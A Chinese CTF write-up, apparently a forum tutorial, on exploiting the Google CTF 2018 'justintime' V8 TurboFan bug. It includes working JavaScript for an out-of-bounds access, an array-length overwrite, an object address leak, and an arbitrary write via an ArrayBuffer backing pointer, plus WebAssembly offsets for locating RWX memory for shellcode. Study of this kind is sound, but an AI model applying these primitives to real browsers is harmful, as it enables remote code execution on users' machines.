查看原文
其他

Chrom V8分析入门——Google CTF2018 justintime分析

LarryS 看雪学苑 2022-07-01


本文为看雪论坛精华文章

看雪论坛作者ID:LarryS


注:资料下载地址见参考资料
这篇文章是我第一次接触V8的漏洞分析,从环境搭建开始,分析了题目中提供的代码,对涉及到的javascript和v8知识点进行了简单介绍,同时针对存在的OOB漏洞,从最终目的——写入执行shellcode——倒退分析,最终一步步达到目标,并与saelo大神提出的addrof和fakeobj概念进行了对照介绍。
 
除此之外,本文也提供了一种无需FQ就能够进行v8编译安装的方法:我在按照官网的步骤编译v8的时候总是因为网络不稳的原因fetch失败,几番搜索也没有找到好的方法,后来忘记在哪篇文章中看到node是自带v8的,因此想到了文中的方法,只需要简单的修改,就能实现对于v8代码的修改、编译和安装。
 
本文对于有经验的人来说可能颇为啰嗦,但是很适合初学者,逻辑上讲,如果你能够跟随本文的步骤,并理解其中的内容,就可以像我入门v8漏洞分析了。



1


环境搭建


(1)确定v8版本


本来Github项目里面是提供了对应的chromium版本的编辑脚本的,但是VPN的网络状态一直不稳定,我在fetch的时候一直没有成功。因此我使用了一些小技巧来安装对应版本的v8。

之前已经把项目中提供的ubuntu virtualbox镜像下载下来了,通过chrome://version查看对应的v8版本是V8 7.0.276.3。

(2)下载对应的node

https://nodejs.org/en/download/releases/这里找到对应的node版本,下载其源码:
wget https://nodejs.org/download/release/v11.1.0/node-v11.1.0.tar.gz --no-check-certificatetar -xf node-v11.1.0.tar.gz

(3)(可选)根据需求对v8进行修改

进入目录node-v11.1.0/deps/v8中,执行
git apply ~/attachments/addition-reducer.patch

打开文件/home/test/node-v11.1.0/deps/v8/v8.gyp,第486行列出了一系列的sources文件目录,在其中添加两项:

(4)编译&安装

最后回到node根目录,下载依赖项(这个版本的node需要python2.6/2.7),编译node。
sudo apt install g++ python makesudo ./configure --debugsudo make -j4sudo make install PREFIX=/opt/node-debug/sudo cp -a -f out/Debug/node /opt/node-debug/node

此时我们就可以把node指令当作d8来使用了。

注意上面是编译debug版本的方法,这样在使用%DebugPrint的时候可以获得更多信息。在下面的分析过程中,我同时编译了release和debug两个版本,无论如何,编译得到的可执行程序都放在了out目录下,debug版本在Debug文件夹中,release版本在Release文件夹中,只要最终把需要的可执行文件放在/usr/local/bin里面,并做好区分就可以了。

(5)关于turbolizer

以上的编译安装都发生在我下载的ubuntu virtualbox镜像中,因为虚拟机的速度有些慢,所以我在主机上也安装了一版node,用于和漏洞细节无关的测试以及turbolizer的使用。

turbolizer所在目录:C:\Users\【用户名】\AppData\Roaming\npm\node_modules\turbolizer
在目录下执行:python -m SimpleHTTPServer,就可以在浏览器通过127.0.0.1:8000使用turbolizer了。


2


问题代码分析


在addition-reducer.patch文件中可以看到这个题目在TypedLoweringPhase阶段添加了一个DuplicateAdditionReducer,duplicate-addition-reducer.cc(http://duplicate-addition-reducer.cc/)的主体代码如下:
DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph, CommonOperatorBuilder* common) : AdvancedReducer(editor), graph_(graph), common_(common) {} Reduction DuplicateAdditionReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kNumberAdd: return ReduceAddition(node); default: return NoChange(); }} Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2); Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); } Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); } Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); } double const1 = OpParameter<double>(right->op()); double const2 = OpParameter<double>(parent_right->op()); Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node);}

可以看到,当node的操作类型是kNumberAdd的时候,会执行ReduceAddition对当前节点进行处理,从ReduceAddition的代码可以看出一共分成了四种情况:
其中第四种情况会发生reduce:



3


漏洞分析


那么上面这样的reduce会导致怎样的问题出现呢?想要知道这一点,首先要了解javascript中的数据表示。

3.1 IEEE 754标准的64位浮点格式


在javascript中,数字只有一种类型(Number),它并不像C那样有int、short、long、float、double等类型,所有的数字都采用IEEE754标准定义的64位浮点格式表示。其格式为:
使用以下公式转换成真实的数值:
 
在表达整数的时候,以上格式可以表示的最大安全整数为:
max_value = 1 * (1 + 0.1111...1111) * 2^52  // 小数点后有52个'1'

也就是:
d8> Math.pow(2, 53) - 19007199254740991

那么如果在这个最大值上再加1会发生什么呢?
// max_value的二进制表示// 1 * 2^(1075-1023) * 1.1111...1111b = 11111...11111b(53-bit) = 90071992547409911 10000110011 1111111111111111111111111111111111111111111111111111// max_value + 1// 1 * 2^(1076-1023) * 1.0b = 2^53 = 90071992547409921 10000110100 0000000000000000000000000000000000000000000000000000// max_value + 2// 1 * 2^(1076-1023) * 1.0000...0001b = 10000...00010b(54-bit) = 2^53 + 2 = 90071992547409941 10000110100 0000000000000000000000000000000000000000000000000001

准确的说,根据参考资料3,IEEE 754标准在2^52~2^53之间的精度是1,在2^53~2^54之间精度是2(只能表示偶数),在2^51~2^52之间精度是0.5,以此类推。

3.2 x+1+1与x+2


虽然在上面的二进制表示中,max_value+2得到的二进制结果转换为十进制是9007199254740994,但这并不是在javascript中的实际结果。因为IEEE 754无法表示9007199254740993这个值,因此9007199254740991 + 2在javascript中由于精度丢失,得到的结果是9007199254740992。
 
如果对以下代码进行优化(这里我使用的仍旧是普通版本的v8):
function opt_me() { let x = Number.MAX_SAFE_INTEGER + 1; let y = x + 1 + 1; let z = x + 2; return (y, z);} for (var i = 0; i < 0x1000000; ++i) { opt_me(i);}

在Turbolizer中得到sea of nodes:

 
可以看到javascript无法对9007199254740992进行递增,得到的永远都是同样的值,而直接+2则可以得到正确的数值。
 
也就是说,当pareng_left的数值是Number.MAX_SAFE_INTEGER + 1的时候,下图中的reduce是错误的:

3.3 OOB


根据上面的推断,当数值处于9007199254740992这个临界点的时候,DuplicateAdditionReducer的做法会出现问题。那么这会导致什么结果呢?先写一段简单的代码:
function try1(x) { let bug_arr = [1.1, 2.2, 3.3, 4.4]; let y = (x ? 9007199254740992 : 9007199254740989) y = y + 1 + 1; y = y - 9007199254740990; return bug_arr[y];} for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));

首先定义函数try1,其中包含了:
  • 一个长度为4的数组,用于实现越界读;

  • 变量y,会根据参数x取9007199254740992或者9007199254740989,其中9007199254740992是为了之后+1+1操作触发漏洞,9007199254740989这个值需要保证完成+1+1后不等于9007199254740992(当然加法之前相等也不行,否则TurboFan会将y优化成一个常数,try1的返回值是固定的,所有过程都优化掉了),且和9007199254740990的差为正数;

  • y+1+1操作用于触发漏洞,y的可能取值为9007199254740992或9007199254740991,经过TypedLoweringPhase的DuplicateAdditionReducer之后,可能取值变成了9007199254740994或者9007199254740991;

  • 减法操作,得到索引值,可能取值为2或1,经过DuplicateAdditionReducer后,可能取值变成了4(超过了数组索引值范围)或1。

  • 返回bug_arr[y],发生越界读。


执行上述代码,得到:
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js2.107088725459e-311

说明try1(true)确实发生了越界读。
 
我们可以在turbolizer中直观的看到问题所在,在typer阶段,经过两次SpeculativeNumberAdd操作之后,结果的最大值仍旧为9007199254740992。

 
而到了typed lowering阶段,经过DuplicateAdditionReducer之后,可以看到原本的两个SpeculativeNumberAdd被简化成了一个NumberAdd,加数变成了2,但是结果并没有更新,因此最后的CheckBound得到的索引边界范围仍旧在[1,2]之间。
 
 
到达escape analysis阶段的时候,可以看到CheckBound节点的索引是Range(1,2),长度是Range(4,4):
 

 
而紧接着的simplified lowering阶段会对CheckBound节点进行检查:
// simplified-lowering.ccvoid VisitNode(Node* node, Truncation truncation, SimplifiedLowering* lowering) {... case IrOpcode::kCheckBounds: { const CheckParameters& p = CheckParametersOf(node->op()); Type index_type = TypeOf(node->InputAt(0)); Type length_type = TypeOf(node->InputAt(1)); if (index_type.Is(Type::Integral32OrMinusZero())) { // Map -0 to 0, and the values in the [-2^31,-1] range to the // [2^31,2^32-1] range, which will be considered out-of-bounds // as well, because the {length_type} is limited to Unsigned31. VisitBinop(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower() && lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison) { if (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min())) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. DeferReplacement(node, node->InputAt(0)); } } } else { VisitBinop( node, UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()), UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); } return; }...}

注意到上面代码中的判断(index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()),如果这个条件成立,CheckBound节点就会被替换掉。而在此例中,index_type.Max()==2,length_type.Min()==4,条件成立。
 
因此经过simplified lowering,得到:
 
可以看到减法操作之后的CheckBound节点已经不见了,而TurboFan仍旧认为数组的索引范围最大值为2。

3.4 扩大OOB范围


之前的代码可以看成一个基础模板:
function try1(x) { let bug_arr= [1.1, 2.2, 3.3, 4.4]; let y = (x ? 9007199254740992 : 【normal_value】) y = y + 1 + 1; y = y - 【start_value】; return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));

必须要保证以下条件:
-1 < normal_value - start_value + 2 < 4// 即start_value - 3 < normal_value < start_value + 2-1 < 9007199254740992 - start_value < 4normal_value != 9007199254740992normal_value + 2 != 9007199254740992

因此该模板下,可以读取到的最大偏移(9007199254740994-start_value)是5:
function try1(x) { let bug_arr= [1.1, 2.2, 3.3, 4.4]; let y = (x ? 9007199254740992 : 9007199254740989) y = y + 1 + 1; y = y - 9007199254740989; console.log(y); return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));

结果:
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js2.9570928586621e-310

那么要如何扩大读取的范围呢?
 
在3.1小结关于IEEE 754标准的介绍中,我们提到它的精度问题,“IEEE 754标准在2^52~2^53之间的精度是1,在2^53~2^54之间精度是2(只能表示偶数)”,可以想见,当数值范围在2^54~2^55的时候,它的精度应该是4:
d8> x = Math.pow(2, 54)18014398509481984d8> x + 2 + 218014398509481984d8> x + 418014398509481988

因此我们可以通过增大数值的方式扩大可读写范围。或者,在参考资料2中,也提到可以通过乘法的方式扩大这一范围:
d8> x = Math.pow(2, 53)9007199254740992d8> 10*(x +1 +1)90071992547409920d8> 10*(x +2)90071992547409940

通过上面的手段,理论上来讲我们可以读写bug_arr数组后的任意空间数据。但是如何利用这一能力呢?


4


利用OOB W/R的方法


4.1 前置知识


4.1.1 Pointer Tagging


参考资料5,6
 
在进行具体的调试分析之前,需要对v8中表示javascript对象的方式有所了解。
 
在v8中,所有的javascript值无论类型如何,都用对象表示,并且保存在堆中,这样就可以使用指针的方式索引所有值。但是存在一种情况,就是在短时间内使用频率特别高的小的整数,例如循环中使用的索引值。为了避免每次使用的时候都重新分配一个新的number对象,V8使用了一种叫做pointer tagging的技巧来处理这种情况。
 
具体来说,V8使用两种形式表示javascript中的值,一种叫做Smi(Samll Integer),一种叫做HeapObject。
 
在64位的机器上,Smi的最低位固定为0,高32位用于表示真正的数值,其余位为0;HeapObject的最低位固定为1,其余的63位用来存放地址。
 
正是由于这种机制,在下面调试分析的过程中就出现了需要将地址减1的情况。

4.1.2 数组相关结构


参考资料5,9
 
每次在javascript中使用var arr = []或者var arr = new Array()的时候,就会创建一个JSArray对象以及一个FixedArray或者FixedDoubleArray对象。如果数组中的元素是整数,就创建FixedArray,否则创建FixedDoubleArray。可以把JSArray看作是数组的头部,而FixedArray/FixedDoubleArray中保存了真正的数组元素。这三个结构在内存中的构成如下:
// JSArray0x00 : Pointer to Map0x08 : Pointer to Outline Properties0x10 : Pointer to Elements0x18 : Length // FixedArray, FixedDoubleArray0x00 : Pointer to Map0x08 : Length0x10 : Element 10x18 : Element 20x20 : ...

在JSArray和FixedArray中分别存在一个length属性,FixedArray中的length属性相当于数组的capacity,是系统为数组预分配的空间大小,而真正和代码中的索引值相关的是存在于JSArray中的length属性。
 
除了上面的这三种对象之外,每次在javascript中使用var buf = new ArrayBuffer(3)的时候,就会创建一个JSArrayBuffer对象。与JSArray不同之处在于,ArrayBuffer中存在一个叫做backing pointer的东西:
// JSArrayBuffer0x00 : Pointer to Map0x08 : Pointer to Outline Properties0x10 : Pointer to Elements0x18 : Length0x20 : Pointer to Backing Store0x28 : ...

注意到这里面既有一个Pointer to Elements,也有一个Pointer to Backing Store,前者和JSArray中的意义相同,而backing pointer所指向的虽然也是数组中的数据,但是它所指向的内容是纯二进制数据,不具备类型信息。因此在使用的时候,可以通过typed array objects或者DataView用具体的数据类型表达ArrayBuffer中的数据。这一特性也对接下来的漏洞利用十分有帮助。

4.2 利用方法分析


倒推:执行shellcode ← 找到一块可执行内存并写入shellcode ← WebAssembly函数代码所在内存可执行 ← 获取函数对象所在地址 + 写入shellcode
 
根据上面的倒退,我们需要具有获取对象地址以及任意写(读)的能力。
 
此次分析的漏洞让我们可以读写bug_arr数组后可变长的一段内存,所以:

如果对象正好放在bug_arr的后面,就可以通过这个漏洞获取到对象的地址;

如果bug_arr后面有一个指针,就可以通过这个漏洞修改指针的数值,从而对其指向的内存进行读写。

那么我们要怎么做呢?


4.3 更简单的OOB方式


在获取能力之前,我们需要先对OOB进行优化,因为目前这种通过小心构造数值,利用漏洞访问数组范围外数据的方式十分复杂,无法灵活地进行数据访问。
 
因此我们可以在bug_arr后再定义一个数组(oob_arr),利用漏洞访问并修改oob_arr中JSArray的length属性,之后,就可以通过oob_arr[idx]的方式访问到oob_arr后面的大片数据了。这种通过索引进行访问的方式显然十分便捷。
 
下面通过调试的方式确定这一方法的可行性。


4.3.1 调试方法


  1. js脚本的修改

    1. 在适当位置添加%DebugPrint,输出感兴趣的对象的信息;

    2. 脚本最后添加一个无限循环语句

  2. node —allow-natives-syntax 执行脚本

    1. 从%DebugPrint的输出中获得对象地址等信息,用于后续调试;

    2. 由于无限循环语句,进程挂起;

  3. 通过ps -a | grep node的方式找到该进程的PID;

  4. 使用gdb attach [pid]或者其他调试器附加到该进程,开始调试。



4.3.2 实验代码


数值转换借用了参考资料2中的方法:
let ab = new ArrayBuffer(8);let fv = new Float64Array(ab);let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0];} function tohex(v) { return (v).toString(16).padStart(16, "0");} function output(idx, value, a) { console.log("Index is " + idx); console.log("Array length is " + a.length); console.log("Value is " + tohex(f2i(value)));} function try2(x) { let bug_arr = [1.1, 2.2, 3.3, 4.4, 5.5]; oob_arr = [6.6, 7.7, 8.8]; let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; let v = bug_arr[y]; if (x) { output(y, v, bug_arr); %DebugPrint(bug_arr); %DebugPrint(oob_arr); } return v;} for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));while(1) {}


4.3.3 调试分析


执行上面的脚本,得到输出:
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try2.jsIndex is 6Array length is 5Value is 00000003000000000x3e7e89d3c159 <JSArray[5]>0x12b40ca86829 <JSArray[3]>6.365987373e-314

这里我没有使用debug版本,因为只需要JSArray的地址就可以了。
 
然后使用gdb调试,检查0x3e7e89d3c159-1处的数据(注意这里由于pointer tagging,进行了减1操作):
(gdb) x/20gx 0x3e7e89d3c159-10x3e7e89d3c158: 0x00000034b0f02931 0x00001cf6cec02d29 // bug_arr JSArray: pointer to map, pointer to outline properties0x3e7e89d3c168: 0x000012b40ca867c9 0x0000000500000000 // bug_arr JSArray: pointer to elements, length0x3e7e89d3c178: 0x00001cf6cec02539 0x000000005dc15cda 0x3e7e89d3c188: 0x0000000900000000 0x7369207865646e49 0x3e7e89d3c198: 0x0000000000000020 0x00001cf6cec025390x3e7e89d3c1a8: 0x000000004c3556ba 0x00000010000000000x3e7e89d3c1b8: 0x656c207961727241 0x207369206874676e0x3e7e89d3c1c8: 0x00001cf6cec02539 0x00000000a41e9f2a0x3e7e89d3c1d8: 0x0000000900000000 0x73692065756c61560x3e7e89d3c1e8: 0x0000000000000020 0x00001cf6cec02a49

有了前面前置知识的介绍,我们知道bug_arr数组元素位于0x00001ca19adc6409-1的位置:
(gdb) x/20gx 0x000012b40ca867c9-10x12b40ca867c8: 0x00001cf6cec03539 0x0000000500000000 // bug_arr FixedDoubleArray: pointer to Map, length0x12b40ca867d8: 0x3ff199999999999a 0x400199999999999a // bug_arr FixedDoubleArray: element1 1.1, element2 2.20x12b40ca867e8: 0x400a666666666666 0x401199999999999a // bug_arr FixedDoubleArray: element3 3.3, element4 4.40x12b40ca867f8: 0x4016000000000000 0x00001cf6cec03539 // bug_arr FixedDoubleArray: element5 5.5 arr2: pointer to Map0x12b40ca86808: 0x0000000300000000 0x401a666666666666 // oob_arr FixedDoubleArray: length【越界读】, element1 6.60x12b40ca86818: 0x401ecccccccccccd 0x402199999999999a // oob_arr FixedDoubleArray: element2 7.7, element3 8.80x12b40ca86828: 0x00000034b0f02931 0x00001cf6cec02d29 // oob_arr JSArray: pointer to map, pointer to outline properties0x12b40ca86838: 0x000012b40ca86801 0x0000000300000000 // oob_arr JSArray: pointer to elements, length0x12b40ca86848: 0x00001cf6cec02641 0x00000003000000000x12b40ca86858: 0x00001cf6cec02641 0x0000000300000000

注意到bug_arr和oob_arr在内存中是彼此紧邻的,这样当bug_arr的长度为5,而我们获得的索引值是6时,就会读取到bug_arr数组末尾的第二个元素,也就是oob_arr FixedDoubleArray中的length属性。
 
而oob_arr的JSArray位于FixedDoubleArray的后面,我们需要覆盖更远的范围。

4.3.4 覆写长度属性


根据上面的调试输出,要覆写的length属性距离bug_arr的起始元素的偏移为bug_arr.length + 2 + oob_arr.length + 3,必须合理设置代码中的数值,才能让程序正好覆盖到length属性上:
function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; // 这里偏移是6 或 2 y = y * 2; // *2 偏移是12 或 4 let v = bug_arr[y]; bug_arr[y] = i2f(0x0000006400000000); if (x) { output(y, v, bug_arr); %DebugPrint(bug_arr); %DebugPrint(oob_arr); } return v;}

得到输出结果:
Index is 12Array length is 5Value is 00000002000000000x3ee7696bcab1 <JSArray[5]>0x096c273bee59 <JSArray[100]>4.243991582e-314

注意到oob_arr的长度已经变成了100。现在我们可以很方便的通过oob_arr索引后面的数据了。

4.4 获取对象地址的能力


正如之前所说,只要把对象放在oob_arr数组后面,就可以通过漏洞获取到该对象的地址。为了方便定位,我们在对象前面放置一个MARKER,两者组合放在一个数组中。
let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; // 假设想要得到地址的对象是Math // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let obj_addr = f2i(oob_arr[addr_idx]) - 1n; console.log(tohex(obj_addr)); %DebugPrint(obj_arr); } return v;}

得到输出:
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js0000356298e93df00x3d07774cffe1 <JSArray[2]>4.243991582e-314

通过调试查看其内存:
(gdb) x/4gx 0x3d07774cffe00x3d07774cffe0: 0x00000fddef0029d1 0x0000278ca0902d290x3d07774cfff0: 0x00003d07774cffc1 0x0000000200000000(gdb) x/4gx 0x00003d07774cffc00x3d07774cffc0: 0x0000278ca09028b9 0x00000002000000000x3d07774cffd0: 0x0000001100000000 0x0000356298e93df1

可以看到这段代码确实输出了对象的地址0x0000356298e93df1 - 1。


4.5 任意地址读写的能力


前面说过了,这个能力需要在oob_arr后面放一个指针,然后通过修改指针来实现“任意地址”读写的功能。理论上来说,指针的实现可以通过各种数组实现,因为它们在偏移0x10的位置都有一个Pointer to Elements。但是这里我们选择ArrayBuffer,因为它有backing pointer,这个指针指向的内存是纯二进制数据,可以按照各种数据形式进行访问,十分方便。
 
我们可以通过oob_arr[idx]把可执行内存的地址赋值给backing pointer,然后再利用typed array objects访问backing pointer指向的内存,按照自己想要的格式写入shellcode。
 
代码如下:
let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; buf_arr = new ArrayBuffer(AB_LENGTH); // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1; let obj_addr = oob_arr[addr_idx]; oob_arr[bp_idx] = obj_addr; // 修改backing pointer,设置想要读/写的地址 // 以uint64的格式读/写地址 let view = new BigUint64Array(buf_arr); // 写入的地址是obj_addr,首位应该是map,这里对其进行篡改 view[0] = 0x4141414141414141n; %DebugPrint(obj_arr); %DebugPrint(obj_arr[1]); } return v;}

得到输出:
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js0x1f1c989d0669 <JSArray[2]>0x18d4029d06e9 Segmentation fault (core dumped)

由于对Math对象的map进行了篡改,修改成了非法的值,因此引用的时候发生了错误。
 
在调试器中查看内存:
(gdb) x/4gx 0x1f1c989d06680x1f1c989d0668: 0x000012eb4c5829d1 0x00001fc855802d290x1f1c989d0678: 0x00001f1c989d0649 0x0000000200000000(gdb) x/4gx 0x00001f1c989d06480x1f1c989d0648: 0x00001fc8558028b9 0x00000002000000000x1f1c989d0658: 0x0000001100000000 0x000007bfc3593df1(gdb) x/4gx 0x000007bfc3593df10x7bfc3593df1: 0x4141414141414141 0x29000007bfc359490x7bfc3593e01: 0x6900001fc855802d 0x164005bf0a8b1457

可以看到位于obj_arr[1]的对象地址0x000007bfc3593df1所指向的内存,首位确实被修改成了0x4141414141414141。

4.6 利用WebAssembly获取可执行内存地址


4.6.1 获取WebAssembly编译后函数


到目前为止我们已经具有了获取对象地址以及向任意地址写数据的能力,接下来需要确定的是向哪里写数据。
 
根据参考资料8,v8的JIT代码页有一个写保护,它会根据标志位在RW和RX权限之间转换,因此无法用shellcode覆盖已编译的函数代码页。
 
但是除了javascript之外,v8还会编译WebAssembly,而它的代码页的写保护默认是关闭的,因此已编译的WebAssembly代码页具有RWX权限。
 
参考资料10提供了一个网页,可以把你编写的C语言代码转换为WebAssembly,生成对应的二进制文件,并提供了加载执行这段二进制代码的方法:
// 这里保存二进制代码var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);// 下面进行加载var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;


4.6.2 分析源码得到jump table所在偏移


但是我们想要的可执行内存并不是f的地址,按照参考资料8,它的结构是这样的:
- JSFunction -> - SharedFunctionInfo pointer -> - (WasmExportedFunctionData)function data pointer -> - WasmInstanceObject pointer -> - jump table start address - function index

之后jump table start + function index就会到达这个函数的jump table entry,它指向的就是RWX的内存,也是这个函数的入口点。
 
由于我们这里只有一个函数,因此只要获得jump table start address就可以了,它的首位就保存了函数的入口点,也就是可执行内存的地址。
 
参考资料2就是预先确定了这几个位置的偏移,然后不断地读取数据,最终得到可执行内存的地址;而参考资料10直接通过WasmInstanceObject pointer获得jump table start address。
 
上面所示结构以及各个数据的偏移(首位偏移为0)可以这样得到:
 
首先是一些头部信息大小:
// node/v8/src/objects.h// Object::kHeaderSize = 0static const int kHeaderSize = 0; // HeapObject::kHeaderSize = 8static const int kMapOffset = Object::kHeaderSize;static const int kHeaderSize = kMapOffset + kPointerSize; // JSReceiver::kHeaderSize = 16static const int kHeaderSize = HeapObject::kHeaderSize + kPointerSize; // JSObject::kHeaderSize = 24static const int kElementsOffset = JSReceiver::kHeaderSize;static const int kHeaderSize = kElementsOffset + kPointerSize;

然后从JS_FUNCTION结构开始看:
// node/v8/src/objects.h#define JS_FUNCTION_FIELDS(V) \ /* Pointer fields. */ \ V(kSharedFunctionInfoOffset, kPointerSize) \ V(kContextOffset, kPointerSize) \ ... DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize, JS_FUNCTION_FIELDS)#undef JS_FUNCTION_FIELDS

可以看到kSharedFunctionInfoOffset在首位,再加上前面的JSObject::kHeaderSize,kSharedFunctionInfoOffset的偏移是3。
// /node/v8/src/objects/shared-function-info.h#define SHARED_FUNCTION_INFO_FIELDS(V) \ /* Pointer fields. */ \ V(kStartOfPointerFieldsOffset, 0) \ V(kFunctionDataOffset, kPointerSize) \ ... DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize, SHARED_FUNCTION_INFO_FIELDS)#undef SHARED_FUNCTION_INFO_FIELDS

kFunctionDataOffset在第二位,但是第一位的大小是0,所以实际应该是在第一位,再加上前面的HeapObject::kHeaderSize,kFunctionDataOffset的偏移是1。
// /node/v8/src/wasm/wasm-objects.h#define WASM_EXPORTED_FUNCTION_DATA_FIELDS(V) \ V(kWrapperCodeOffset, kPointerSize) \ V(kInstanceOffset, kPointerSize) \ V(kJumpTableOffsetOffset, kPointerSize) /* Smi */ \ V(kFunctionIndexOffset, kPointerSize) /* Smi */ \ V(kSize, 0) DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize, WASM_EXPORTED_FUNCTION_DATA_FIELDS)#undef WASM_EXPORTED_FUNCTION_DATA_FIELDS

kInstanceOffset在第二位,再加上前面的HeapObject::kHeaderSize,kInstanceOffset的偏移是2。
// /node/v8/src/wasm/wasm-objects.h#define WASM_INSTANCE_OBJECT_FIELDS(V) \ ... // 省略了15行 V(kFirstUntaggedOffset, 0) /* marker */ \ V(kMemoryStartOffset, kPointerSize) /* untagged */ \ V(kMemorySizeOffset, kSizetSize) /* untagged */ \ V(kMemoryMaskOffset, kSizetSize) /* untagged */ \ ... // 省略了8行 V(kJumpTableStartOffset, kPointerSize) /* untagged */ \ V(kIndirectFunctionTableSizeOffset, kUInt32Size) /* untagged */ \ V(k64BitArchPaddingOffset, kPointerSize - kUInt32Size) /* padding */ \ V(kSize, 0) DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize, WASM_INSTANCE_OBJECT_FIELDS)#undef WASM_INSTANCE_OBJECT_FIELDS// /node/v8/src/globals.hconstexpr int kSizetSize = sizeof(size_t);

kJumpTableStartOffset在第28位,因为前面有一个大小为0,所以实际上是在第27位,再加上前面的JSObject::kHeaderSize,kJumpTableStartOffset的偏移是29。
 
整理偏移值得到:
kSharedFunctionInfoOffset: 3kFunctionDataOffset: 1kInstanceOffset: 2kJumpTableStartOffset: 29


4.6.3 偏移值验证


代码:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main; %DebugPrint(f); while(1) {}

得到输出:
test@test-vm:~/ctf2018$ node_debug --allow-natives-syntax wasm_test.jsDebugPrint: 0x15e5d1c8141: [Function] in OldSpace - map: 0x27335a1062b1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x392436f04669 <JSFunction (sfi = 0x205dbb084df1)> - elements: 0x22c411e02d29 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x015e5d1c8109 <SharedFunctionInfo 0> - name: 0x22c411e08691 <String[1]: 0> - formal_parameter_count: 0 - kind: NormalFunction - context: 0x392436f03da1 <NativeContext[252]> - code: 0x2ce1fe39bce1 <Code JS_TO_WASM_FUNCTION> - WASM instance 0x15e5d1c7f69 - WASM function index 0...

在调试器中查看0x15e5d1c8141内存,并根据前面得到的偏移值跟随验证:
